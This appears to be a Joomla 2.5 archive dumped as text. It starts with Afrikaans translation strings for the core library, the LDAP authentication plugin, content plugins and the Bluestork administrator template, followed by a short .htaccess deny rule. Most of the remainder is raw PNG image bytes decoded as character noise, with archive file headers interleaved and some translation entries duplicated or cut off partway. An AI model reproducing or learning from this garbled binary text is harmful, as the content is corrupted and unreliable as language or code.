              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." JLIB_RULES_SETTING_NOTES_ITEM="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." JLIB_RULES_SETTINGS_DESC="Bestuur toegangsregte vir die gebruikers hieronder. Sien die notas hieronder." JLIB_UPDATER_ERROR_COLLECTION_FOPEN="Die PHP allow_url_fopen instelling is gesper. Hierdie instelling moet ontsper wees sodat die opdateerder kan werk." JLIB_UPDATER_ERROR_COLLECTION_OPEN_URL="Update: :Collection: Kan nie %s open nie." JLIB_UPDATER_ERROR_EXTENSION_OPEN_URL="Update: :Extension: Kan nie %s open nie." JLIB_USER_ERROR_AUTHENTICATION_FAILED_LOAD_PLUGIN="JAuthentication: :authenticate: Kan nie inprop-program laai nie: %s" JLIB_USER_ERROR_AUTHENTICATION_LIBRARIES="JAuthentication: :__construct: Kan nie bekragtigings-biblioteek laai nie." JLIB_USER_ERROR_BIND_ARRAY="Kan nie reeks met arbeider-objek bind nie" JLIB_USER_ERROR_CANNOT_DEMOTE_SELF="Jy kan nie jou eie Super Admin toegangsregte skrap nie." JLIB_USER_ERROR_NOT_SUPERADMIN="Slegs gebruiker met Super Admin toegangsregte mag ander Super Admin gebruiker rekeninge wysig." JLIB_USER_ERROR_PASSWORD_NOT_MATCH="Wagwoorde stem nie met mekaar ooreen nie. Tik asb. die wagwoord weer in." JLIB_USER_ERROR_UNABLE_TO_FIND_USER="Kan nie gebruiker met gegewe aktiveeringsstring vind nie." JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: Kan nie gebruiker laai met ID: %s" JLIB_UTIL_ERROR_APP_INSTANTIATION="Aanwending Instantiëerings Fout" JLIB_UTIL_ERROR_CONNECT_DATABASE="JDatabase: :getInstance: Kon nie met databasis verbind nie
              joomla.library: %1 - %2" JLIB_UTIL_ERROR_DOMIT="DommitDocument is verouder. Gebruik DomDocument in plaas daarvan" JLIB_RULES_SETTINGS_DESC="Bestuur toegangsregte vir die gebruikers hieronder. Sien die notas hieronder." JLIB_HTML_BUTTON_NOT_DEFINED="Knoppie ne vir tipe = %s defineer nie" JLIB_FORM_MEDIA_PREVIEW_ALT="Gekiesde beeld" JLIB_FORM_MEDIA_PREVIEW_EMPTY="Geen beeld gekies nie." JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE="Gekiesde beeld" JLIB_FORM_MEDIA_PREVIEW_TIP_TITLE="Voorskou" JLIB_UPDATER_ERROR_EXTENSION_PARSE_URL="Update: :Extension: Kon nie die volgende parseer nie - %s" JLIB_UPDATER_ERROR_COLLECTION_PARSE_URL="Update: :Collection: Kon nie %s parseer nie" PK@y>\a, 0language/af-ZA/af-ZA.plg_authentication_ldap.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_authentication_ldap.ini 1720 2012-02-12 21:44:37Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op : Alle ini lêërs moet as UTF-8 gestoor word PLG_LDAP_FIELD_USERSDN_LABEL="Gebruiker se DN" PLG_LDAP_FIELD_PORT_DESC="Verstek poort is 389" PLG_LDAP_FIELD_PORT_LABEL="Poort" PLG_LDAP_FIELD_HOST_LABEL="Bediener" PLG_LDAP_FIELD_V3_LABEL="LDAP V3" PLG_LDAP_FIELD_V3_LABEL="LDAP V3" PLG_AUTHENTICATION_LDAP="Bekragtiging - LDAP" PLG_LDAP_FIELD_REFERRALS_LABEL="Volg Verwysings" PLG_LDAP_FIELD_SEARCHSTRING_LABEL="Soektog String" PLG_LDAP_FIELD_USERNAME_LABEL="Verbind met Gebruikernaam" PLG_LDAP_FIELD_AUTHMETHOD_LABEL="Bekragtigings Methode" PLG_LDAP_FIELD_BASEDN_LABEL="Basis DN" PLG_LDAP_FIELD_UID_LABEL="Toewysing: Gebruiker ID" PLG_LDAP_FIELD_FULLNAME_LABEL="Toewysing: Volle Naam" PLG_LDAP_FIELD_PASSWORD_LABEL="Verbind Wagwoord" PLG_LDAP_FIELD_VALUE_BINDSEARCH="Bind en Soektog" PLG_LDAP_FIELD_EMAIL_LABEL="Toewysing: e-posadres" PLG_LDAP_FIELD_NEGOCIATE_LABEL="Onderhandel TLS" PLG_LDAP_FIELD_VALUE_BINDUSER="Bind Direk as Gebruiker" PLG_LDAP_FIELD_PASSWORD_DESC="Die Connect Wagwoord is die wagwoord van 'n administratiewe rekening. Hierdie word gebruik in Bekragtig-en-Bind en Bekragtig-en-Vergelyk bekragtigings metodes" PLG_LDAP_FIELD_REFERRALS_DESC="Hierdie opsie stel die waarde van die LDAP_OPT_REFERRALS flag. Jy moet dit na 'Nee' stel vir Windows 2003 bedieners." PLG_LDAP_FIELD_V3_DESC="Verstek is LDAP2, maar die mees onlangse versies van OpenLdap benodig kliënts om LDAPV3 te gebruik" PLG_LDAP_FIELD_HOST_DESC="By voorbeeld: openldap.mycompany.org" PLG_LDAP_FIELD_EMAIL_DESC="LDAP Eienskap wat die Gebruiker se e-posadres bevat" PLG_LDAP_FIELD_BASEDN_DESC="Die basiese DN van jou LDAP bediener, bv. o=mydomain.com" PLG_LDAP_FIELD_FULLNAME_DESC="LDAP eienskap wat die gebruiker se volle naam bevat" PLG_LDAP_XML_DESCRIPTION="Hanteer Gebruiker-Stawing in 'n LDAP bediener
              Waakskuwing! Jy moet ten minste een stawing inprop-program ontsper, anders verloor jy alle toegang na jou werf." PLG_LDAP_FIELD_AUTHMETHOD_DESC="Die stawings-metode " PLG_LDAP_FIELD_NEGOCIATE_DESC="Negosieer TLS enkripsie met die LDAP-bedienerr. Hierdie benodig dat alle verkeer na en van die LDAP-bediener geënkripteer is." PLG_LDAP_FIELD_UID_DESC="LDAP Eienskap wat die gebruiker se inlog-ID bevat. Vir Active Directory is dit sAMAccountName" ; Moet nog vertaal word.. PLG_LDAP_FIELD_SEARCHSTRING_DESC="A query string used for search for a given User. The [search] keyword is dynamically replaced by the User-provided login. An example string is: uid=[search]. Several strings can be used separated by semi-colons. Only used when searching." PLG_LDAP_FIELD_USERNAME_DESC="The Connect Username and Connect Password define connection parameters for the DN lookup phase. Two options are available:- Anonymous DN lookup. Leave both fields blank.- Administrative connection: Connect Username is the username of an administrative account, for example Administrator. Connect password is the actual password of your administrative account." PLG_LDAP_FIELD_USERSDN_DESC="The [username] keyword is dynamically replaced by the User-provided login. An example string is: uid=[username], dc=my-domain, dc=com. Several strings can be used, separated by semi-colons. Only used for direct binds." PK@y>\"ww/language/af-ZA/af-ZA.plg_content_joomla.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_content_joomla.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_JOOMLA="Inhoud - Joomla!" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Doen kategorie verwerking vir kern ekstensies; stuur 'n epos wanneer 'n nuwe artikel in die frontent bygedra is." PK@y>\}X  *language/af-ZA/af-ZA.tpl_bluestork.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.tpl_bluestork.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word BLUESTORK="Bluestork Administrateur Templet" TPL_BLUESTORK_POSITION_LOGIN="Inteken" TPL_BLUESTORK_POSITION_MENU="Menu" TPL_BLUESTORK_POSITION_STATUS="Status" TPL_BLUESTORK_POSITION_SUBMENU="Submenu" TPL_BLUESTORK_POSITION_TITLE="Titel" TPL_BLUESTORK_POSITION_FOOTER="Voetskrif" TPL_BLUESTORK_POSITION_TOOLBAR="Nutsbalk" TPL_BLUESTORK_POSITION_CP_SHELL="Ongebruik" TPL_BLUESTORK_POSITION_DEBUG="Ontfout" TPL_BLUESTORK_POSITION_CPANEL="Beheer Paneel" TPL_BLUESTORK_POSITION_ICON="Taak Ikone" TPL_BLUESTORK_XML_DESCRIPTION="BlueStork is 'n nuwe templet vir die Joomla! 2.5 administrator agterkant." PK@y>\06jj-language/af-ZA/af-ZA.plg_extension_joomla.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_extension_joomla.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EXTENSION_JOOMLA_UNKNOWN_SITE="Onbekende Webwerf" PLG_EXTENSION_JOOMLA="Ekstensie - Joomla!" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Beheer die opdateer-werwe vir ekstensies" PK@y>\ss3language/af-ZA/af-ZA.plg_content_pagenavigation.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_content_pagenavigation.ini 1704 2012-02-04 14:56:06Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_PAGENAVIGATION_FIELD_POSITION_LABEL="Posisie" PLG_CONTENT_PAGENAVIGATION="Inhoud - Bladsy Navigasie" PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE="Bokant" PLG_PAGENAVIGATION_FIELD_VALUE_BELOW="Onderaan" PLG_PAGENAVIGATION_XML_DESCRIPTION="Voeg die Volgende & Vorige funksie aan 'n Artikel." PLG_PAGENAVIGATION_FIELD_VALUE_TEXT="Teks" PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE="Volle artikel" PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL="Ten Opsigte Van" PLG_PAGENAVIGATION_FIELD_POSITION_DESC="Die plaasing van die Bladsy Navigasie-funksie op die vertoonde bladsy t.o.v. die teks." PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC="Wys die relative plasing vir die posisie parameter toe. Teks sal direk bo-oor of onder-aan die artikel inhoud geplaas word." PK@y>\piOii+language/af-ZA/af-ZA.plg_system_sef.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_sef.sys.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_SEF="Stelsel - SEF" PLG_SEF_XML_DESCRIPTION="Voeg SEF-ondersteuning by vir skakels in die dokument. Dit werk direk op die HTML en benodig nie 'n spesiale etiket nie." PK@y>\rH  +language/af-ZA/af-ZA.plg_system_log.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_log.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_LOG="Stelsel - Log" PLG_LOG_XML_DESCRIPTION="Verskaf Stelsel Staafing" PK@y>\Vlanguage/af-ZA/index.htmlnuW+A PK@y>\Vtemplates/index.htmlnuW+A PK@y>\Vtemplates/bluestork/index.htmlnuW+A PK@y>\~K*templates/bluestork/images/notice-info.pngnuW+APNG  IHDRVgWIDATx^_hl&ub6* ^{EsgoD^(Te EhpM[4I3!ݠz /fq FD̕PAJ@k`f4#/j|RZpf` @*BlBܬӘ੭?|v\ 86qefqqC){'MpOzg9>eKrQei4)KmO;NI-۷?ѽMvf^P \ZkO3@ۆR7qt˃7BY< O)-`и%T”F˳N)*ǒZզ>g'foS>g)ѵ'23vjxz{nDA?+8#3P817@}@ $&,Uɻjz.FČ?2 D]l7e5@Hϗz)M^̌=Dy +G?]O6{?hW {7ǣl(Ry*fS7 "W#UzB'Y+Kqc,»e1P)eR**^ rw$c iW&.e2#| ԘzK\@-templates/bluestork/images/selector-arrow.pngnuW+APNG  IHDR 0PLTEޱ׬)tRNS@fQIDATx^%ʱ @`蔮QB )$"L9~57*[SV` 0;ФIENDB`PK@y>\lHH-templates/bluestork/images/j_button1_left.pngnuW+APNG  IHDR2IDATx^j01"F h۴H%ZҚnVvdKnO m;\u8Zk/0($ɲ,"`AmZ !i"D`Y,y@4UUYH) Z<7|Es3#1#> 3#1#>̈3;9_1#l^DQ׵B -4';F}Qm۾ѭYq~cYw>QkR+A~ ۢIENDB`PK@y>\.templates/bluestork/images/j_button2_first.pngnuW+APNG  IHDRKlIDATx^ML_y-4%[bL &MxA*^/O_>9õ0H}G@ Z ގ[5LG~I%Rlg]>%j6;;IENDB`PK@y>\05.S6templates/bluestork/images/j_button2_pagebreak_rtl.pngnuW+APNG  IHDRĴl;IDATx^=@wk|"'w)t#! +"dXo`.:%[Ò$Q,q~p@&nAqLhǘf?F)0;WV)m-K%jی j<?spApQ}}M۶_d󹊢Ȁ|GxXO M|HY= ^Bd%_j%q^U.a.85ҷ0` βR& dix<UMaJ1}nYnW 4 Ƙ. akfk( a> qU\boӌ0k[`Bep6#F5mnt.Jp]!vm]z4\?yĭIENDB`PK@y>\M&+templates/bluestork/images/j_arrow_down.pngnuW+APNG  IHDR 2ϽIDATx^`#@lm۶m۶mo۶m۶m!9Y6 AVk3OU{u c1H]n\GFmA+a B2He9IV\@ Ұ'1`PG|4 "Y w%:0ABcIENDB`PK@y>\),templates/bluestork/images/j_arrow_right.pngnuW+APNG  IHDR 2ϽIDATx^! Pw{cNEa`7 Z VA !(v D""V -M|;_DdD A3Q~B%7@L kWt' hd F`*?X1flPÐ-u r3= xIK7h D@7yPKI#@dS|d+*tkIENDB`PK@y>\!\-templates/bluestork/images/j_button1_prev.pngnuW+APNG  IHDR&(ۙIDATx^mLUϹZ E/# KLf\&M O}Qg0j62%3j33NBZ tTQKhX)my\mu0_nΧ{{95ML&&IUUah9"띜KR$ k kW PuW,\ `jj* + D/j8Q2{6ϯ~KuVֹ*]U7}Wgy455qΡ@`O03c cyYG齥J`BƘ(0#¹@&P1s*73Z)L=%0yex3ߵb./*m_L9'QSL4K|uETY#)끧7w:u,!#Hp yP0 r|y(71hWz:l-έ 8br81Slߜ]뺯m9~O7>qg_?E(p.5ھ X2 @3|@@kV5.'t:M c}t=p䦵Psh"?zY";w$zA݃tttStsГٸf K,'!9.Z=`vD3PF`AZ" mx djDoyN1&ˁY*$C u[}/nziy_ho~!/E R1o=׶R- v 䣐+Ҏ ZaYw|p Scv{׎wt߻G3xxe HPˣ|j G4P(tr55;4ɐ6bȟYűM&$ Y]ab,նiIENDB`PK@y>\I.templates/bluestork/images/j_header_middle.pngnuW+APNG  IHDRd6ƫIDATx^FuD$""RD?""ZDDHDDE"z{N =O-|h] oZW-hY OZx½p-\kJ Z¹δp-kH Z8?-kaO Z¶u-iaU +ZX’y-s?8#N8`kck!yɠe:N&? U :IENDB`PK@y>\q;êHH1templates/bluestork/images/j_button2_last_off.pngnuW+APNG  IHDRKlIDATx^nP&AaS %YJ,]Tö"6q B Qns @#dYf9$It .F1f^WJt:ݾCoBa8-v8N#|EUUlJ[6&ǤL&d$X-M<=$V_L>>,˘"'Xh4A>( [Y,:?' v;@LY|i" 1;"vYOh˥Dat}J̹0 Bb7z#ʺE'ɀa0`p\\D\."Jx<c\禮Ġ-\c6 vD"3J Ȍ#F4H!m:vy d2)y |F-4 %:\d!A>N*Mґ`sL g#ۅgtfИIENDB`PK@y>\:Z+templates/bluestork/images/j_arrow_left.pngnuW+APNG  IHDR 2ϽIDATx^`#@lm۶m۶mo۶m۶m!9Y6|Ym2@Zs2$Ygͳ(ӠLtv>i@!VKAs-sHEB^KW="RvThp7a˯@ʋ0nEn| (܈0(,6!OIENDB`PK@y>\@4templates/bluestork/images/system/selector-arrow.pngnuW+APNG  IHDR 0PLTEޱ׬)tRNS@fQIDATx^%ʱ @`蔮QB )$"L9~57*[SV` 0;ФIENDB`PK@y>\t MM.templates/bluestork/images/system/calendar.pngnuW+APNG  IHDRaIDATx^MhQ$c&Q J]ƖR\)t#\ԕ,ڢ+AZ…bJA"(Jɦj Mg$rͻCCE?ý]01y{'Bqpw v[Ȫ%!$aC4MC['i q߇T n8KoLlⲍrĒvޟCTU.Z^ Zš-z+X,R:͐fYBX܌fIJ7t$L~TOtzt2M RV# G_ӷ\=#<玫QZVXT AW맠U;{vѺUն!hnLmgNuFԾ+N^5>w^ͣ @la_q"C$^~Jqm%Ub{WBz1B;@VSjX#, 0-pwkضAs+x2V=$麎+ύ㒮Yl[\<Iٟ#IENDB`PK@y>\)+templates/bluestork/images/system/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,templates/bluestork/images/system/index.htmlnuW+A PK@y>\%@\\'templates/bluestork/images/j_border.pngnuW+APNG  IHDRt5PLTEͥ/IDATx^]! CHbIENDB`PK@y>\42templates/bluestork/images/j_button2_right_cap.pngnuW+APNG  IHDRIDATx^m[ 0 FO **"E۠!yi/y^$u][kimERjG(]k04sKeeY4MVk_ۻ= `I΂H]`iuEUU}Ou`0 gs7h9r|ʪIENDB`PK@y>\^dm]-templates/bluestork/images/j_button2_last.pngnuW+APNG  IHDRKl}IDATx^OQϝ؉J.H`gT&&.عbAM51!q`Vb+#BE1-Z e:odd9g#htuu~e@9j5ϯ&II,-Q(KRVq8 GRI{[ح֤RL&Cp}J!A!9-! //R\.GЖ3HJ^ 숽^iڇm`wcecp(;_oXſ\-;zu"sjXaK0vLw;y(v̪$YĻ'RV3ƒ%v|['Ҏ*T<a@}]OaўstnP@Lc YZaj.LU71ֽ/ف hXppq jWSH0!,! >9zDbd'+8o1.0٭SO[͈,L\ +templates/bluestork/images/j_login_lock.pngnuW+APNG  IHDRH IDATx^kpTe%r Eit\8#f)ZZvS~?Yuo3k(A(pwy9o79J+P]/yo(B\-FE°` 0,Â1,ð` ư` Â1,8acEh'C)a2J8죴qBvXRPV3@UfztN {‡`mפlUBWm#l̽~Nۗ`&)STf|y)a;-$Z;wX[>_w,-E}+ptS|0<`6kKCvt+0}>/u1b_?)Z$ EN,)Qwٺ˗AU0.+/#Dka&\aź ?xR)6xnvd[9j>akC}]#p:pQNp8o-lLu˵pm/_&pcx>/ /^?T7?]סq\.I{ػ| Nٙ[D7׵>]v="LY4e:|^/ʑJۋ;oD71lτ̞m꧐H&1rdzVe-7BEo_[m|x^H&S8}wq6x- fcYl㴩SwMI_aJM/-ڎ2?yLx ]/ 57^ 桧ߔK#\)|e- (d )$onYf f#By7 y=9*Dg Yrӂ()YwO"&ܾyM.X׿0uNu8u\L<e薅DqS>lihX0[t745BQ^([;E<7,n(Q!D6u t{ 6 Ku3gԙ"\h/;;ܝ ! b/ha0ZkkrkLo h]w6O$ \wMtɧ,B53Aʕ.0z-^gqHrvcNFl xu]0Dk9vI񧻷 E,w:wlK`" JƩ3g@{vKκv)2,NeL.p9`C̻GјF!TWk&1;XSkf=E.Ѩ&k]mm'W7bacA섽i?ىB>/kӬ@`c@hR}=4]G!z`/rEo_ߥLYl#?0Pt3(Â1,ð` ư` Â1,Â1 ư` 0,Â1 >vgk z}py<8U7U@[/WzE0dh,cCX29P%^4QUU9# U*?d {[fW(4MT?v>\?w?XAxpp]d@].pk B$B&M51R3Ys͐Ud0!kn`a *(*h@EɎLTUDzR1#{1ő8t<>FErBL&N"{uM[ucQ! ӦoHuCOI-Lƒt܏LHkdnd~d(˗$%daFP (Y eDlD,PUD)";S(KV86+-5Ap 8$EC4Z H.ٕ`x֟wMaÎ@8T?‚MQ(*JäSP/Ia䄾/7|>?tf M^3^8=^u`BV#[)0 U|w! !+p %5ǪٱJh,*ۮf*e0ɤ|H%H'#kHh1JŬ|4NL1 V).P]u|>Yl9#^wa-:R)`#>#H2oRV>%F |yA0QF%O6+5oQHR?yQB2jy&c\luN||fVZ*@0;5"EK%jI {dcMLd,O-ɬVƺRT6QJ*`EhPe&VX F8Xȥ&*Y%NE׹rkw2Q;XqGDVF*QwL9[+wCP}Oe fJVBTr`#g*onX±`e+Ouhq=rIENDB`PK@y>\"@5templates/bluestork/images/menu/icon-16-newsfeeds.pngnuW+APNG  IHDRaIDATx^MKQįj"fa)dtqlܵ$W)P\͸uu2cƴIHB2zN@ȁ;rx#!"S>syAX.n^{ (,~ZТYcR7ɘt@{`yoH&QᇝcrH3<1P N桧LM'^I+J*e2 ◕rp]̞]x#+:7Inht!pc_p:W$7?u"SbF a@[ل!OYV́9n.L*Qq 4B p] I [p :qҡp:<<&1FXIENDB`PK@y>\~\_^  3templates/bluestork/images/menu/icon-16-article.pngnuW+APNG  IHDRaIDATx^OjPG#M(85P znt/`^ʛ{QRZ'=yrgNadIoFS pi*1UU:^sOyo!{R^۲,"u6 PJ DE #3&/>v!2)c矦׎0بlH !L&wl=@yGUEAHUrEHemvzӡF`v[:`ww_n&g}͝x 낵]DQOdpQ<\yw3templates/bluestork/images/menu/icon-16-archive.pngnuW+APNG  IHDRaIDATx^jQ;iIW_K>GB@P LHHfYPI4 QDf!$bɴ63ҩsafs83\JJT qu]'Y*'^'dj۶v2pLZv_.E/_j Ð0 pΑl׮q̐N'!CV σuӊfxhܓ)2kPٮfn{Z~B%X`˲{-ytc;ْ4M?b^F"Ūl@6+(BLu?Ng"ѿeJ%լ<9y8g\F}8BUzfԨUMxeQUH77q%"F@XTqu,k @odGFj`betu6%v!_h3IENDB`PK@y>\5templates/bluestork/images/menu/icon-16-component.pngnuW+APNG  IHDRaIDATx^͊A鉉M4 ĝ+gn\,d.t'> _'|d@DBTuWMYHܯZ6&p@çpALs+&=bGw89?9J޲I1 s/%@h6IRp\t!L QWQĨxyŻӌ(`Uw$V*ZUyqP:˘+:hx$䏲2u (J (V3\o3|>:麂\˹f+[Rzmq HS@ Ԁ|9~Ӈ&Xi֧_ĩVϞ?1Fy^ʞ>nG[F- -{IENDB`PK@y>\"4templates/bluestork/images/menu/icon-16-category.pngnuW+APNG  IHDRaIDATx^1JQF'Timdva". 4.!Y.!m,!;KaoAqwd+eK``֊/@x  e;FDH85S4!]?H9"# )2}k51TeqyO^lh? >5AIENDB`PK@y>\y##1templates/bluestork/images/menu/icon-16-trash.pngnuW+APNG  IHDRaIDATx^u1hQƿ\BlU\ 5C$c7WG'58fq0KA[:T*(N'Q-4ݻ>M}8,D08cń%E@q~v DTPV@D^ٕJtѸRzV<@fNu~^zo=ĭo/缴7d/K6\*=5{h[x5`<"}p( > ՋTΝ3`?9A8Y4!xAFPKrjO #IdDCAYB!܌@J c;+`l7H$HZF~pl mϒ;WMWJE|v}& HӀuF@D QsX̌tMIvw, :y[+t}^~ocQQ0 FYPP1LҲ`IENDB`PK@y>\(Uqpp6templates/bluestork/images/menu/icon-16-help-trans.pngnuW+APNG  IHDRa7IDATx^]͊\U߽a%A8Љ!Q|cp*%8S0Q%IauJWWWսmA{bfNnk%jWZj+ꪨ#rRU.D&GraG.o˅n]k׈QID?@t*F{6dCGD"yΔn5gv@Dө\="uK~)Wpxf8!:ȗ/킦Xc5Smb6A\DΉ )=jBShbK3*agG\X2templates/bluestork/images/menu/icon-16-levels.pngnuW+APNG  IHDRaIDATx^1J'kX*8n@'!Iu:U&pby`\j"Mqqk*'Ƙ*׹jO?42}1O>=e'#R.xRĪEq?/}Īj9P`aw)aO=3tKg3 oH7,|C[3IENDB`PK@y>\NpPP0templates/bluestork/images/menu/icon-16-send.pngnuW+APNG  IHDRaIDATx^œ;hSQ&F덩i3\Bkň*nl6]SEе:((TpPj@1c!6h.iMr}}sH$~p^\BDTm7Ja,dK'' MӤ@ϖl@HJٲ0]2~.on-A;GhPL$Qh:b#`۶} ~}Pʲ %2k6R<7MA˕ԁdnlQtZ;]  uIENDB`PK@y>\f}2templates/bluestork/images/menu/icon-16-cpanel.pngnuW+APNG  IHDRaIDATx^ka??` tw-:7qpi,X1]RQD,U鉓H%Mks>^oԩ cbY+/םK?kjfMÛҩeЦ{;]=l"]㍊esL4$W`0fXhWgO1~ӒVW%jSDh'6dHيxpou⇶ |TfE?bmL]4c3RcΑWA 肠It/aID\g~üۤpy!.n 0/!H%3 1{]&*F JW\n.@fFJP_my Huգ(Dd7 H8H$ܞw!L.ב)"po1e<4z[:l!IENDB`PK@y>\7  2templates/bluestork/images/menu/icon-16-notice.pngnuW+APNG  IHDRaIDATx^=hQ;I4f]PHB#X`Z0V`,*M@EA"n Z(+[.b7;;3ÅMw_DUE &(r=%H8q[J^1o5SEW+;˨NUs/ s)c $cOpjBAp{iG =fGq#'Px, I<__SuK?Wm@  Hݝ1{B ٨l4 l %C>xk,jV*% %bB | Ý:RP U/kȻT 87a-Z <(_3{G6 c;`ciOfY;.̅bk@a&(aQadE2lOw@ģD7`>¯l;_ IENDB`PK@y>\LVV4templates/bluestork/images/menu/icon-16-messages.pngnuW+APNG  IHDRaIDATx^MkQ|75M*Zԅ$.tYܴw HWq.ܸхl6( a'&`BTJL\ze(݉/<{ϽùcB_dV6 RtWӴ7Ē3iN3hCcrT1,#:5 ePBx`ٸ khG%<] hnY| km<\:`PbAFwyAI+ܹ4zt\Whcv%^,"QMCׇwK KaRcuVT_e3gHNS)01L8^)j On]cG(,9Tz|]kdbBX\ j}M0ĩj*ZwDMt]snZ&bP(F i>>Z.=!"L&cD:ib8IDP`8LĎ5J,9[l}BXfܧ?EIENDB`PK@y>\!0templates/bluestork/images/menu/icon-16-deny.pngnuW+APNG  IHDRaIDATx^=kQgvWP"-"X,A`!6Z*"VB+n!VB D$sa<̋ܝu}0ykyA` e寑F ^=1(@rU77kSrb:=;H i)wzkTf"ti.& ֜:O1mb4n3 юe7biڹJ3&YHh*" =X ̣C = §};y@/!{c^Hbs'W pOَ݅N60@[N'm!j $QQ_H ?+7 F-;b.ݝRo4R`/BИ@IENDB`PK@y>\ll9templates/bluestork/images/menu/icon-16-banner-tracks.pngnuW+APNG  IHDRa3IDATx^MhAlM6iHՃ P@Xq[lz C"$mox֘QJLN66i~쎳,T|~3!@StEj6Ks8m~r>%`Mt0am7hج|WGR1۸lW6,=Zd6"ş H.peA$NgsP񐐆xsey["}/Vɠq8|Oț{/nXPPPb@gOG쉐Ă" Ebk}u@nVWE-E[ r ;I A6n #CQx ˟3X/DQX(ԣ]p?mrfes ۶71ݐ@u^ \S$`jjщ' |KrסBwT~4{L9DJ5 u^.,m^KlVټ* A?ySx6IENDB`PK@y>\@;4templates/bluestork/images/menu/icon-16-newgroup.pngnuW+APNG  IHDRaIDATx^uohUu9޳{vvw?wM7"~0,"J,b២/a>-\ؔ( H5j Af*Ll{ݹo.B橗"|3ulllo.Nz= wW&r sp⵭^ONN~u1U<\;59 _n.;TSVTj5Z)Ipk;VUAd۶L!mwݡ麾I.Ԋ rNM_L:Y:rvu]e[0 O{D/+|̂7R T6A%"Xh$)JJ&ypKļ vÅ@4]#9e޹eYx7 ,j@8}|w%)~׶(C0]NA@-iwow(H (Ցt> 911q`￴hJDUsC-MZ8 |L(P=~1ؖ2?9A~B@&P544322` 